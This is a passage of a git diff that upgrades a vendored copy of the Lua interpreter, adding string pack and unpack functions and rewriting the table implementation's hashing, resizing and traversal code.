arg); + if (size < SZINT) /* need overflow check? */ + luaL_argcheck(L, (lua_Unsigned)n < ((lua_Unsigned)1 << (size * NB)), + arg, "unsigned overflow"); + packint(&b, (lua_Unsigned)n, h.islittle, size, 0); + break; + } + case Kfloat: { /* C float */ + float f = (float)luaL_checknumber(L, arg); /* get argument */ + char *buff = luaL_prepbuffsize(&b, sizeof(f)); + /* move 'f' to final result, correcting endianness if needed */ + copywithendian(buff, (char *)&f, sizeof(f), h.islittle); + luaL_addsize(&b, size); + break; + } + case Knumber: { /* Lua float */ + lua_Number f = luaL_checknumber(L, arg); /* get argument */ + char *buff = luaL_prepbuffsize(&b, sizeof(f)); + /* move 'f' to final result, correcting endianness if needed */ + copywithendian(buff, (char *)&f, sizeof(f), h.islittle); + luaL_addsize(&b, size); + break; + } + case Kdouble: { /* C double */ + double f = (double)luaL_checknumber(L, arg); /* get argument */ + char *buff = luaL_prepbuffsize(&b, sizeof(f)); + /* move 'f' to final result, correcting endianness if needed */ + copywithendian(buff, (char *)&f, sizeof(f), h.islittle); + luaL_addsize(&b, size); + break; + } + case Kchar: { /* fixed-size string */ + size_t len; + const char *s = luaL_checklstring(L, arg, &len); + luaL_argcheck(L, len <= (size_t)size, arg, + "string longer than given size"); + luaL_addlstring(&b, s, len); /* add string */ + while (len++ < (size_t)size) /* pad extra space */ + luaL_addchar(&b, LUAL_PACKPADBYTE); + break; + } + case Kstring: { /* strings with length count */ + size_t len; + const char *s = luaL_checklstring(L, arg, &len); + luaL_argcheck(L, size >= (int)sizeof(size_t) || + len < ((size_t)1 << (size * NB)), + arg, "string length does not fit in given size"); + packint(&b, (lua_Unsigned)len, h.islittle, size, 0); /* pack length */ + luaL_addlstring(&b, s, len); + totalsize += len; + break; + } + case Kzstr: { /* zero-terminated string */ + size_t len; + const char *s = luaL_checklstring(L, arg, &len); + luaL_argcheck(L, strlen(s) == len, arg, "string contains zeros"); + luaL_addlstring(&b, s, len); + luaL_addchar(&b, '\0'); /* add zero at the end */ + totalsize += len + 1; + break; + } + case Kpadding: + luaL_addchar(&b, LUAL_PACKPADBYTE); /* FALLTHROUGH */ + case Kpaddalign: + case Knop: + arg--; /* undo increment */ + break; + } + } + luaL_pushresult(&b); + return 1; +} + + +static int str_packsize(lua_State *L) { + Header h; + const char *fmt = luaL_checkstring(L, 1); /* format string */ + size_t totalsize = 0; /* accumulate total size of result */ + initheader(L, &h); + while (*fmt != '\0') { + int size, ntoalign; + KOption opt = getdetails(&h, totalsize, &fmt, &size, &ntoalign); + luaL_argcheck(L, opt != Kstring && opt != Kzstr, 1, + "variable-length format"); + size += ntoalign; /* total space used by option */ + luaL_argcheck(L, totalsize <= MAXSIZE - size, 1, + "format result too large"); + totalsize += size; + } + lua_pushinteger(L, (lua_Integer)totalsize); + return 1; +} + + +/* +** Unpack an integer with 'size' bytes and 'islittle' endianness. +** If size is smaller than the size of a Lua integer and integer +** is signed, must do sign extension (propagating the sign to the +** higher bits); if size is larger than the size of a Lua integer, +** it must check the unread bytes to see whether they do not cause an +** overflow. +*/ +static lua_Integer unpackint(lua_State *L, const char *str, + int islittle, int size, int issigned) { + lua_Unsigned res = 0; + int i; + int limit = (size <= SZINT) ? size : SZINT; + for (i = limit - 1; i >= 0; i--) { + res <<= NB; + res |= (lua_Unsigned)(unsigned char)str[islittle ? i : size - 1 - i]; + } + if (size < SZINT) { /* real size smaller than lua_Integer? */ + if (issigned) { /* needs sign extension? */ + lua_Unsigned mask = (lua_Unsigned)1 << (size * NB - 1); + res = ((res ^ mask) - mask); /* do sign extension */ + } + } else if (size > SZINT) { /* must check unread bytes */ + int mask = (!issigned || (lua_Integer)res >= 0) ? 0 : MC; + for (i = limit; i < size; i++) { + if (l_unlikely((unsigned char)str[islittle ? i : size - 1 - i] != mask)) + luaL_error(L, "%d-byte integer does not fit into Lua Integer", size); + } + } + return (lua_Integer)res; +} + + +static int str_unpack(lua_State *L) { + Header h; + const char *fmt = luaL_checkstring(L, 1); + size_t ld; + const char *data = luaL_checklstring(L, 2, &ld); + size_t pos = posrelatI(luaL_optinteger(L, 3, 1), ld) - 1; + int n = 0; /* number of results */ + luaL_argcheck(L, pos <= ld, 3, "initial position out of string"); + initheader(L, &h); + while (*fmt != '\0') { + int size, ntoalign; + KOption opt = getdetails(&h, pos, &fmt, &size, &ntoalign); + luaL_argcheck(L, (size_t)ntoalign + size <= ld - pos, 2, + "data string too short"); + pos += ntoalign; /* skip alignment */ + /* stack space for item + next position */ + luaL_checkstack(L, 2, "too many results"); + n++; + switch (opt) { + case Kint: + case Kuint: { + lua_Integer res = unpackint(L, data + pos, h.islittle, size, + (opt == Kint)); + lua_pushinteger(L, res); + break; + } + case Kfloat: { + float f; + copywithendian((char *)&f, data + pos, sizeof(f), h.islittle); + lua_pushnumber(L, (lua_Number)f); + break; + } + case Knumber: { + lua_Number f; + copywithendian((char *)&f, data + pos, sizeof(f), h.islittle); + lua_pushnumber(L, f); + break; + } + case Kdouble: { + double f; + copywithendian((char *)&f, data + pos, sizeof(f), h.islittle); + lua_pushnumber(L, (lua_Number)f); + break; + } + case Kchar: { + lua_pushlstring(L, data + pos, size); + break; + } + case Kstring: { + size_t len = (size_t)unpackint(L, data + pos, h.islittle, size, 0); + luaL_argcheck(L, len <= ld - pos - size, 2, "data string too short"); + lua_pushlstring(L, data + pos + size, len); + pos += len; /* skip string */ + break; + } + case Kzstr: { + size_t len = strlen(data + pos); + luaL_argcheck(L, pos + len < ld, 2, + "unfinished string for format 'z'"); + lua_pushlstring(L, data + pos, len); + pos += len + 1; /* skip string plus final '\0' */ + break; + } + case Kpaddalign: + case Kpadding: + case Knop: + n--; /* undo increment */ + break; + } + pos += size; + } + lua_pushinteger(L, pos + 1); /* next position */ + return n + 1; +} + +/* }====================================================== */ + + static const luaL_Reg strlib[] = { {"byte", str_byte}, {"char", str_char}, @@ -1035,12 +1928,17 @@ static const luaL_Reg strlib[] = { {"reverse", str_reverse}, {"sub", str_sub}, {"upper", str_upper}, + {"pack", str_pack}, + {"packsize", str_packsize}, + {"unpack", str_unpack}, {NULL, NULL} }; static void createmetatable(lua_State *L) { - lua_createtable(L, 0, 1); /* table to be metatable for strings */ + /* table to be metatable for strings */ + luaL_newlibtable(L, stringmetamethods); + luaL_setfuncs(L, stringmetamethods, 0); lua_pushliteral(L, ""); /* dummy string */ lua_pushvalue(L, -2); /* copy table */ lua_setmetatable(L, -2); /* set table as metatable for strings */ diff --git a/client/deps/liblua/ltable.c b/client/deps/liblua/ltable.c index 5bcb93b47..59218b6c5 100644 --- a/client/deps/liblua/ltable.c +++ b/client/deps/liblua/ltable.c @@ -1,27 +1,30 @@ /* -** $Id: ltable.c,v 2.72 2012/09/11 19:37:16 roberto Exp $ +** $Id: ltable.c $ ** Lua tables (hash) ** See Copyright Notice in lua.h */ +#define ltable_c +#define LUA_CORE + +#include "lprefix.h" + /* ** Implementation of tables (aka arrays, objects, or hash tables). ** Tables keep its elements in two parts: an array part and a hash part. ** Non-negative integer keys are all candidates to be kept in the array -** part. The actual size of the array is the largest `n' such that at -** least half the slots between 0 and n are in use. +** part. The actual size of the array is the largest 'n' such that +** more than half the slots between 1 and n are in use. ** Hash uses a mix of chained scatter table with Brent's variation. ** A main invariant of these tables is that, if an element is not -** in its main position (i.e. the `original' position that its hash gives +** in its main position (i.e. the 'original' position that its hash gives ** to it), then the colliding element is in its own main position. ** Hence even when the load factor reaches 100%, performance remains good. */ -#include - -#define ltable_c -#define LUA_CORE +#include +#include #include "lua.h" @@ -37,147 +40,329 @@ /* -** max size of array part is 2^MAXBITS +** MAXABITS is the largest integer such that MAXASIZE fits in an +** unsigned int. */ -#if LUAI_BITSINT >= 32 -#define MAXBITS 30 -#else -#define MAXBITS (LUAI_BITSINT-2) -#endif - -#define MAXASIZE (1 << MAXBITS) - - -#define hashpow2(t,n) (gnode(t, lmod((n), sizenode(t)))) - -#define hashstr(t,str) hashpow2(t, (str)->tsv.hash) -#define hashboolean(t,p) hashpow2(t, p) +#define MAXABITS cast_int(sizeof(int) * CHAR_BIT - 1) /* -** for some types, it is better to avoid modulus by power of 2, as -** they tend to have many 2 factors. +** MAXASIZE is the maximum size of the array part. It is the minimum +** between 2^MAXABITS and the maximum size that, measured in bytes, +** fits in a 'size_t'. */ -#define hashmod(t,n) (gnode(t, ((n) % ((sizenode(t)-1)|1)))) +#define MAXASIZE luaM_limitN(1u << MAXABITS, TValue) + +/* +** MAXHBITS is the largest integer such that 2^MAXHBITS fits in a +** signed int. +*/ +#define MAXHBITS (MAXABITS - 1) -#define hashpointer(t,p) hashmod(t, IntPoint(p)) +/* +** MAXHSIZE is the maximum size of the hash part. It is the minimum +** between 2^MAXHBITS and the maximum size such that, measured in bytes, +** it fits in a 'size_t'. +*/ +#define MAXHSIZE luaM_limitN(1u << MAXHBITS, Node) -#define dummynode (&dummynode_) +/* +** When the original hash value is good, hashing by a power of 2 +** avoids the cost of '%'. +*/ +#define hashpow2(t,n) (gnode(t, lmod((n), sizenode(t)))) -#define isdummy(n) ((n) == dummynode) +/* +** for other types, it is better to avoid modulo by power of 2, as +** they can have many 2 factors. +*/ +#define hashmod(t,n) (gnode(t, ((n) % ((sizenode(t)-1)|1)))) + + +#define hashstr(t,str) hashpow2(t, (str)->hash) +#define hashboolean(t,p) hashpow2(t, p) + + +#define hashpointer(t,p) hashmod(t, point2uint(p)) + + +#define dummynode (&dummynode_) static const Node dummynode_ = { - {NILCONSTANT}, /* value */ - {{NILCONSTANT, NULL}} /* key */ + { {NULL}, LUA_VEMPTY, /* value's value and type */ + LUA_VNIL, 0, {NULL} + } /* key type, next, and key value */ }; +static const TValue absentkey = {ABSTKEYCONSTANT}; + + /* -** hash for lua_Numbers +** Hash for integers. To allow a good hash, use the remainder operator +** ('%'). If integer fits as a non-negative int, compute an int +** remainder, which is faster. Otherwise, use an unsigned-integer +** remainder, which uses all bits and ensures a non-negative result. */ -static Node *hashnum(const Table *t, lua_Number n) { - int i; - luai_hashnum(i, n); - if (i < 0) { - if (cast(unsigned int, i) == 0u - i) /* use unsigned to avoid overflows */ - i = 0; /* handle INT_MIN */ - i = -i; /* must be a positive value */ - } - return hashmod(t, i); +static Node *hashint(const Table *t, lua_Integer i) { + lua_Unsigned ui = l_castS2U(i); + if (ui <= cast_uint(INT_MAX)) + return hashmod(t, cast_int(ui)); + else + return hashmod(t, ui); } +/* +** Hash for floating-point numbers. +** The main computation should be just +** n = frexp(n, &i); return (n * INT_MAX) + i +** but there are some numerical subtleties. +** In a two-complement representation, INT_MAX does not has an exact +** representation as a float, but INT_MIN does; because the absolute +** value of 'frexp' is smaller than 1 (unless 'n' is inf/NaN), the +** absolute value of the product 'frexp * -INT_MIN' is smaller or equal +** to INT_MAX. Next, the use of 'unsigned int' avoids overflows when +** adding 'i'; the use of '~u' (instead of '-u') avoids problems with +** INT_MIN. +*/ +#if !defined(l_hashfloat) +static int l_hashfloat(lua_Number n) { + int i; + lua_Integer ni; + n = l_mathop(frexp)(n, &i) * -cast_num(INT_MIN); + if (!lua_numbertointeger(n, &ni)) { /* is 'n' inf/-inf/NaN? */ + lua_assert(luai_numisnan(n) || l_mathop(fabs)(n) == cast_num(HUGE_VAL)); + return 0; + } else { /* normal case */ + unsigned int u = cast_uint(i) + cast_uint(ni); + return cast_int(u <= cast_uint(INT_MAX) ? u : ~u); + } +} +#endif + /* -** returns the `main' position of an element in a table (that is, the index -** of its hash value) +** returns the 'main' position of an element in a table (that is, +** the index of its hash value). */ -static Node *mainposition(const Table *t, const TValue *key) { - switch (ttype(key)) { - case LUA_TNUMBER: - return hashnum(t, nvalue(key)); - case LUA_TLNGSTR: { - TString *s = rawtsvalue(key); - if (s->tsv.extra == 0) { /* no hash? */ - s->tsv.hash = luaS_hash(getstr(s), s->tsv.len, s->tsv.hash); - s->tsv.extra = 1; /* now it has its hash */ - } - return hashstr(t, rawtsvalue(key)); +static Node *mainpositionTV(const Table *t, const TValue *key) { + switch (ttypetag(key)) { + case LUA_VNUMINT: { + lua_Integer i = ivalue(key); + return hashint(t, i); } - case LUA_TSHRSTR: - return hashstr(t, rawtsvalue(key)); - case LUA_TBOOLEAN: - return hashboolean(t, bvalue(key)); - case LUA_TLIGHTUSERDATA: - return hashpointer(t, pvalue(key)); - case LUA_TLCF: - return hashpointer(t, fvalue(key)); + case LUA_VNUMFLT: { + lua_Number n = fltvalue(key); + return hashmod(t, l_hashfloat(n)); + } + case LUA_VSHRSTR: { + TString *ts = tsvalue(key); + return hashstr(t, ts); + } + case LUA_VLNGSTR: { + TString *ts = tsvalue(key); + return hashpow2(t, luaS_hashlongstr(ts)); + } + case LUA_VFALSE: + return hashboolean(t, 0); + case LUA_VTRUE: + return hashboolean(t, 1); + case LUA_VLIGHTUSERDATA: { + void *p = pvalue(key); + return hashpointer(t, p); + } + case LUA_VLCF: { + lua_CFunction f = fvalue(key); + return hashpointer(t, f); + } + default: { + GCObject *o = gcvalue(key); + return hashpointer(t, o); + } + } +} + + +l_sinline Node *mainpositionfromnode(const Table *t, Node *nd) { + TValue key; + getnodekey(cast(lua_State *, NULL), &key, nd); + return mainpositionTV(t, &key); +} + + +/* +** Check whether key 'k1' is equal to the key in node 'n2'. This +** equality is raw, so there are no metamethods. Floats with integer +** values have been normalized, so integers cannot be equal to +** floats. It is assumed that 'eqshrstr' is simply pointer equality, so +** that short strings are handled in the default case. +** A true 'deadok' means to accept dead keys as equal to their original +** values. All dead keys are compared in the default case, by pointer +** identity. (Only collectable objects can produce dead keys.) Note that +** dead long strings are also compared by identity. +** Once a key is dead, its corresponding value may be collected, and +** then another value can be created with the same address. If this +** other value is given to 'next', 'equalkey' will signal a false +** positive. In a regular traversal, this situation should never happen, +** as all keys given to 'next' came from the table itself, and therefore +** could not have been collected. Outside a regular traversal, we +** have garbage in, garbage out. What is relevant is that this false +** positive does not break anything. (In particular, 'next' will return +** some other valid item on the table or nil.) +*/ +static int equalkey(const TValue *k1, const Node *n2, int deadok) { + if ((rawtt(k1) != keytt(n2)) && /* not the same variants? */ + !(deadok && keyisdead(n2) && iscollectable(k1))) + return 0; /* cannot be same key */ + switch (keytt(n2)) { + case LUA_VNIL: + case LUA_VFALSE: + case LUA_VTRUE: + return 1; + case LUA_VNUMINT: + return (ivalue(k1) == keyival(n2)); + case LUA_VNUMFLT: + return luai_numeq(fltvalue(k1), fltvalueraw(keyval(n2))); + case LUA_VLIGHTUSERDATA: + return pvalue(k1) == pvalueraw(keyval(n2)); + case LUA_VLCF: + return fvalue(k1) == fvalueraw(keyval(n2)); + case ctb(LUA_VLNGSTR): + return luaS_eqlngstr(tsvalue(k1), keystrval(n2)); default: - return hashpointer(t, gcvalue(key)); + return gcvalue(k1) == gcvalueraw(keyval(n2)); } } /* -** returns the index for `key' if `key' is an appropriate key to live in -** the array part of the table, -1 otherwise. +** True if value of 'alimit' is equal to the real size of the array +** part of table 't'. (Otherwise, the array part must be larger than +** 'alimit'.) */ -static int arrayindex(const TValue *key) { - if (ttisnumber(key)) { - lua_Number n = nvalue(key); - int k; - lua_number2int(k, n); - if (luai_numeq(cast_num(k), n)) - return k; - } - return -1; /* `key' did not match some condition */ -} +#define limitequalsasize(t) (isrealasize(t) || ispow2((t)->alimit)) /* -** returns the index of a `key' for table traversals. First goes all -** elements in the array part, then elements in the hash part. The -** beginning of a traversal is signaled by -1. +** Returns the real size of the 'array' array */ -static int findindex(lua_State *L, Table *t, StkId key) { - int i; - if (ttisnil(key)) return -1; /* first iteration */ - i = arrayindex(key); - if (0 < i && i <= t->sizearray) /* is `key' inside array part? */ - return i - 1; /* yes; that's the index (corrected to C) */ +LUAI_FUNC unsigned int luaH_realasize(const Table *t) { + if (limitequalsasize(t)) + return t->alimit; /* this is the size */ else { - Node *n = mainposition(t, key); - for (;;) { /* check whether `key' is somewhere in the chain */ - /* key may be dead already, but it is ok to use it in `next' */ - if (luaV_rawequalobj(gkey(n), key) || - (ttisdeadkey(gkey(n)) && iscollectable(key) && - deadvalue(gkey(n)) == gcvalue(key))) { - i = cast_int(n - gnode(t, 0)); /* key index in hash table */ - /* hash elements are numbered after array ones */ - return i + t->sizearray; - } else n = gnext(n); - if (n == NULL) - luaG_runerror(L, "invalid key to " LUA_QL("next")); /* key not found */ + unsigned int size = t->alimit; + /* compute the smallest power of 2 not smaller than 'size' */ + size |= (size >> 1); + size |= (size >> 2); + size |= (size >> 4); + size |= (size >> 8); +#if (UINT_MAX >> 14) > 3 /* unsigned int has more than 16 bits */ + size |= (size >> 16); +#if (UINT_MAX >> 30) > 3 + size |= (size >> 32); /* unsigned int has more than 32 bits */ +#endif +#endif + size++; + lua_assert(ispow2(size) && size / 2 < t->alimit && t->alimit < size); + return size; + } +} + + +/* +** Check whether real size of the array is a power of 2. +** (If it is not, 'alimit' cannot be changed to any other value +** without changing the real size.) +*/ +static int ispow2realasize(const Table *t) { + return (!isrealasize(t) || ispow2(t->alimit)); +} + + +static unsigned int setlimittosize(Table *t) { + t->alimit = luaH_realasize(t); + setrealasize(t); + return t->alimit; +} + + +#define limitasasize(t) check_exp(isrealasize(t), t->alimit) + + + +/* +** "Generic" get version. (Not that generic: not valid for integers, +** which may be in array part, nor for floats with integral values.) +** See explanation about 'deadok' in function 'equalkey'. +*/ +static const TValue *getgeneric(Table *t, const TValue *key, int deadok) { + Node *n = mainpositionTV(t, key); + for (;;) { /* check whether 'key' is somewhere in the chain */ + if (equalkey(key, n, deadok)) + return gval(n); /* that's it */ + else { + int nx = gnext(n); + if (nx == 0) + return &absentkey; /* not found */ + n += nx; } } } +/* +** returns the index for 'k' if 'k' is an appropriate key to live in +** the array part of a table, 0 otherwise. +*/ +static unsigned int arrayindex(lua_Integer k) { + if (l_castS2U(k) - 1u < MAXASIZE) /* 'k' in [1, MAXASIZE]? */ + return cast_uint(k); /* 'key' is an appropriate array index */ + else + return 0; +} + + +/* +** returns the index of a 'key' for table traversals. First goes all +** elements in the array part, then elements in the hash part. The +** beginning of a traversal is signaled by 0. +*/ +static unsigned int findindex(lua_State *L, Table *t, TValue *key, + unsigned int asize) { + unsigned int i; + if (ttisnil(key)) return 0; /* first iteration */ + i = ttisinteger(key) ? arrayindex(ivalue(key)) : 0; + if (i - 1u < asize) /* is 'key' inside array part? */ + return i; /* yes; that's the index */ + else { + const TValue *n = getgeneric(t, key, 1); + if (l_unlikely(isabstkey(n))) + luaG_runerror(L, "invalid key to 'next'"); /* key not found */ + i = cast_int(nodefromval(n) - gnode(t, 0)); /* key index in hash table */ + /* hash elements are numbered after array ones */ + return (i + 1) + asize; + } +} + + int luaH_next(lua_State *L, Table *t, StkId key) { - int i = findindex(L, t, key); /* find original element */ - for (i++; i < t->sizearray; i++) { /* try first array part */ - if (!ttisnil(&t->array[i])) { /* a non-nil value? */ - setnvalue(key, cast_num(i + 1)); + unsigned int asize = luaH_realasize(t); + unsigned int i = findindex(L, t, s2v(key), asize); /* find original key */ + for (; i < asize; i++) { /* try first array part */ + if (!isempty(&t->array[i])) { /* a non-empty entry? */ + setivalue(s2v(key), i + 1); setobj2s(L, key + 1, &t->array[i]); return 1; } } - for (i -= t->sizearray; i < sizenode(t); i++) { /* then hash part */ - if (!ttisnil(gval(gnode(t, i)))) { /* a non-nil value? */ - setobj2s(L, key, gkey(gnode(t, i))); - setobj2s(L, key + 1, gval(gnode(t, i))); + for (i -= asize; cast_int(i) < sizenode(t); i++) { /* hash part */ + if (!isempty(gval(gnode(t, i)))) { /* a non-empty entry? */ + Node *n = gnode(t, i); + getnodekey(L, s2v(key), n); + setobj2s(L, key + 1, gval(n)); return 1; } } @@ -185,38 +370,51 @@ int luaH_next(lua_State *L, Table *t, StkId key) { } +static void freehash(lua_State *L, Table *t) { + if (!isdummy(t)) + luaM_freearray(L, t->node, cast_sizet(sizenode(t))); +} + + /* ** {============================================================= ** Rehash ** ============================================================== */ - -static int computesizes(int nums[], int *narray) { +/* +** Compute the optimal size for the array part of table 't'. 'nums' is a +** "count array" where 'nums[i]' is the number of integers in the table +** between 2^(i - 1) + 1 and 2^i. 'pna' enters with the total number of +** integer keys in the table and leaves with the number of keys that +** will go to the array part; return the optimal size. (The condition +** 'twotoi > 0' in the for loop stops the loop if 'twotoi' overflows.) +*/ +static unsigned int computesizes(unsigned int nums[], unsigned int *pna) { int i; - int twotoi; /* 2^i */ - int a = 0; /* number of elements smaller than 2^i */ - int na = 0; /* number of elements to go to array part */ - int n = 0; /* optimal size for array part */ - for (i = 0, twotoi = 1; twotoi / 2 < *narray; i++, twotoi *= 2) { - if (nums[i] > 0) { - a += nums[i]; - if (a > twotoi / 2) { /* more than half elements present? */ - n = twotoi; /* optimal size (till now) */ - na = a; /* all elements smaller than n will go to array part */ - } + unsigned int twotoi; /* 2^i (candidate for optimal size) */ + unsigned int a = 0; /* number of elements smaller than 2^i */ + unsigned int na = 0; /* number of elements to go to array part */ + unsigned int optimal = 0; /* optimal size for array part */ + /* loop while keys can fill more than half of total size */ + for (i = 0, twotoi = 1; + twotoi > 0 && *pna > twotoi / 2; + i++, twotoi *= 2) { + a += nums[i]; + if (a > twotoi / 2) { /* more than half elements present? */ + optimal = twotoi; /* optimal size (till now) */ + na = a; /* all elements up to 'optimal' will go to array part */ } - if (a == *narray) break; /* all elements already counted */ } - *narray = n; - lua_assert(*narray / 2 <= na && na <= *narray); - return na; + lua_assert((optimal == 0 || optimal / 2 < na) && na <= optimal); + *pna = na; + return optimal; } -static int countint(const TValue *key, int *nums) { - int k = arrayindex(key); - if (0 < k && k <= MAXASIZE) { /* is `key' an appropriate array index? */ +static int countint(lua_Integer key, unsigned int *nums) { + unsigned int k = arrayindex(key); + if (k != 0) { /* is 'key' an appropriate array index? */ nums[luaO_ceillog2(k)]++; /* count as such */ return 1; } else @@ -224,22 +422,29 @@ static int countint(const TValue *key, int *nums) { } -static int numusearray(const Table *t, int *nums) { +/* +** Count keys in array part of table 't': Fill 'nums[i]' with +** number of keys that will go into corresponding slice and return +** total number of non-nil keys. +*/ +static unsigned int numusearray(const Table *t, unsigned int *nums) { int lg; - int ttlg; /* 2^lg */ - int ause = 0; /* summation of `nums' */ - int i = 1; /* count to traverse all array keys */ - for (lg = 0, ttlg = 1; lg <= MAXBITS; lg++, ttlg *= 2) { /* for each slice */ - int lc = 0; /* counter */ - int lim = ttlg; - if (lim > t->sizearray) { - lim = t->sizearray; /* adjust upper limit */ + unsigned int ttlg; /* 2^lg */ + unsigned int ause = 0; /* summation of 'nums' */ + unsigned int i = 1; /* count to traverse all array keys */ + unsigned int asize = limitasasize(t); /* real array size */ + /* traverse each slice */ + for (lg = 0, ttlg = 1; lg <= MAXABITS; lg++, ttlg *= 2) { + unsigned int lc = 0; /* counter */ + unsigned int lim = ttlg; + if (lim > asize) { + lim = asize; /* adjust upper limit */ if (i > lim) break; /* no more elements to count */ } - /* count elements in range (2^(lg-1), 2^lg] */ + /* count elements in range (2^(lg - 1), 2^lg] */ for (; i <= lim; i++) { - if (!ttisnil(&t->array[i - 1])) + if (!isempty(&t->array[i - 1])) lc++; } nums[lg] += lc; @@ -249,110 +454,166 @@ static int numusearray(const Table *t, int *nums) { } -static int numusehash(const Table *t, int *nums, int *pnasize) { +static int numusehash(const Table *t, unsigned int *nums, unsigned int *pna) { int totaluse = 0; /* total number of elements */ - int ause = 0; /* summation of `nums' */ + int ause = 0; /* elements added to 'nums' (can go to array part) */ int i = sizenode(t); while (i--) { Node *n = &t->node[i]; - if (!ttisnil(gval(n))) { - ause += countint(gkey(n), nums); + if (!isempty(gval(n))) { + if (keyisinteger(n)) + ause += countint(keyival(n), nums); totaluse++; } } - *pnasize += ause; + *pna += ause; return totaluse; } -static void setarrayvector(lua_State *L, Table *t, int size) { - int i; - luaM_reallocvector(L, t->array, t->sizearray, size, TValue); - for (i = t->sizearray; i < size; i++) - setnilvalue(&t->array[i]); - t->sizearray = size; -} - - -static void setnodevector(lua_State *L, Table *t, int size) { - int lsize; +/* +** Creates an array for the hash part of a table with the given +** size, or reuses the dummy node if size is zero. +** The computation for size overflow is in two steps: the first +** comparison ensures that the shift in the second one does not +** overflow. +*/ +static void setnodevector(lua_State *L, Table *t, unsigned int size) { if (size == 0) { /* no elements to hash part? */ - t->node = cast(Node *, dummynode); /* use common `dummynode' */ - lsize = 0; + t->node = cast(Node *, dummynode); /* use common 'dummynode' */ + t->lsizenode = 0; + t->lastfree = NULL; /* signal that it is using dummy node */ } else { int i; - lsize = luaO_ceillog2(size); - if (lsize > MAXBITS) + int lsize = luaO_ceillog2(size); + if (lsize > MAXHBITS || (1u << lsize) > MAXHSIZE) luaG_runerror(L, "table overflow"); size = twoto(lsize); t->node = luaM_newvector(L, size, Node); - for (i = 0; i < size; i++) { + for (i = 0; i < cast_int(size); i++) { Node *n = gnode(t, i); - gnext(n) = NULL; - setnilvalue(gkey(n)); - setnilvalue(gval(n)); + gnext(n) = 0; + setnilkey(n); + setempty(gval(n)); } + t->lsizenode = cast_byte(lsize); + t->lastfree = gnode(t, size); /* all positions are free */ } - t->lsizenode = cast_byte(lsize); - t->lastfree = gnode(t, size); /* all positions are free */ } -void luaH_resize(lua_State *L, Table *t, int nasize, int nhsize) { - int i; - int oldasize = t->sizearray; - int oldhsize = t->lsizenode; - Node *nold = t->node; /* save old hash ... */ - if (nasize > oldasize) /* array part must grow? */ - setarrayvector(L, t, nasize); - /* create new hash part with appropriate size */ - setnodevector(L, t, nhsize); - if (nasize < oldasize) { /* array part must shrink? */ - t->sizearray = nasize; - /* re-insert elements from vanishing slice */ - for (i = nasize; i < oldasize; i++) { - if (!ttisnil(&t->array[i])) - luaH_setint(L, t, i + 1, &t->array[i]); - } - /* shrink array */ - luaM_reallocvector(L, t->array, oldasize, nasize, TValue); - } - /* re-insert elements from hash part */ - for (i = twoto(oldhsize) - 1; i >= 0; i--) { - Node *old = nold + i; - if (!ttisnil(gval(old))) { +/* +** (Re)insert all elements from the hash part of 'ot' into table 't'. +*/ +static void reinsert(lua_State *L, Table *ot, Table *t) { + int j; + int size = sizenode(ot); + for (j = 0; j < size; j++) { + Node *old = gnode(ot, j); + if (!isempty(gval(old))) { /* doesn't need barrier/invalidate cache, as entry was already present in the table */ - setobjt2t(L, luaH_set(L, t, gkey(old)), gval(old)); + TValue k; + getnodekey(L, &k, old); + luaH_set(L, t, &k, gval(old)); } } - if (!isdummy(nold)) - luaM_freearray(L, nold, cast(size_t, twoto(oldhsize))); /* free old array */ } -void luaH_resizearray(lua_State *L, Table *t, int nasize) { - int nsize = isdummy(t->node) ? 0 : sizenode(t); +/* +** Exchange the hash part of 't1' and 't2'. +*/ +static void exchangehashpart(Table *t1, Table *t2) { + lu_byte lsizenode = t1->lsizenode; + Node *node = t1->node; + Node *lastfree = t1->lastfree; + t1->lsizenode = t2->lsizenode; + t1->node = t2->node; + t1->lastfree = t2->lastfree; + t2->lsizenode = lsizenode; + t2->node = node; + t2->lastfree = lastfree; +} + + +/* +** Resize table 't' for the new given sizes. Both allocations (for +** the hash part and for the array part) can fail, which creates some +** subtleties. If the first allocation, for the hash part, fails, an +** error is raised and that is it. Otherwise, it copies the elements from +** the shrinking part of the array (if it is shrinking) into the new +** hash. Then it reallocates the array part. If that fails, the table +** is in its original state; the function frees the new hash part and then +** raises the allocation error. Otherwise, it sets the new hash part +** into the table, initializes the new part of the array (if any) with +** nils and reinserts the elements of the old hash back into the new +** parts of the table. +*/ +void luaH_resize(lua_State *L, Table *t, unsigned int newasize, + unsigned int nhsize) { + unsigned int i; + Table newt; /* to keep the new hash part */ + unsigned int oldasize = setlimittosize(t); + TValue *newarray; + /* create new hash part with appropriate size into 'newt' */ + setnodevector(L, &newt, nhsize); + if (newasize < oldasize) { /* will array shrink? */ + t->alimit = newasize; /* pretend array has new size... */ + exchangehashpart(t, &newt); /* and new hash */ + /* re-insert into the new hash the elements from vanishing slice */ + for (i = newasize; i < oldasize; i++) { + if (!isempty(&t->array[i])) + luaH_setint(L, t, i + 1, &t->array[i]); + } + t->alimit = oldasize; /* restore current size... */ + exchangehashpart(t, &newt); /* and hash (in case of errors) */ + } + /* allocate new array */ + newarray = luaM_reallocvector(L, t->array, oldasize, newasize, TValue); + if (l_unlikely(newarray == NULL && newasize > 0)) { /* allocation failed? */ + freehash(L, &newt); /* release new hash part */ + luaM_error(L); /* raise error (with array unchanged) */ + } + /* allocation ok; initialize new part of the array */ + exchangehashpart(t, &newt); /* 't' has the new hash ('newt' has the old) */ + t->array = newarray; /* set new array part */ + t->alimit = newasize; + for (i = oldasize; i < newasize; i++) /* clear new slice of the array */ + setempty(&t->array[i]); + /* re-insert elements from old hash part into new parts */ + reinsert(L, &newt, t); /* 'newt' now has the old hash */ + freehash(L, &newt); /* free old hash part */ +} + + +void luaH_resizearray(lua_State *L, Table *t, unsigned int nasize) { + int nsize = allocsizenode(t); luaH_resize(L, t, nasize, nsize); } - +/* +** nums[i] = number of keys 'k' where 2^(i - 1) < k <= 2^i +*/ static void rehash(lua_State *L, Table *t, const TValue *ek) { - int nasize, na; - int nums[MAXBITS + 1]; /* nums[i] = number of keys with 2^(i-1) < k <= 2^i */ + unsigned int asize; /* optimal size for array part */ + unsigned int na; /* number of keys in the array part */ + unsigned int nums[MAXABITS + 1]; int i; int totaluse; - for (i = 0; i <= MAXBITS; i++) nums[i] = 0; /* reset counts */ - nasize = numusearray(t, nums); /* count keys in array part */ - totaluse = nasize; /* all those keys are integer keys */ - totaluse += numusehash(t, nums, &nasize); /* count keys in hash part */ + for (i = 0; i <= MAXABITS; i++) nums[i] = 0; /* reset counts */ + setlimittosize(t); + na = numusearray(t, nums); /* count keys in array part */ + totaluse = na; /* all those keys are integer keys */ + totaluse += numusehash(t, nums, &na); /* count keys in hash part */ 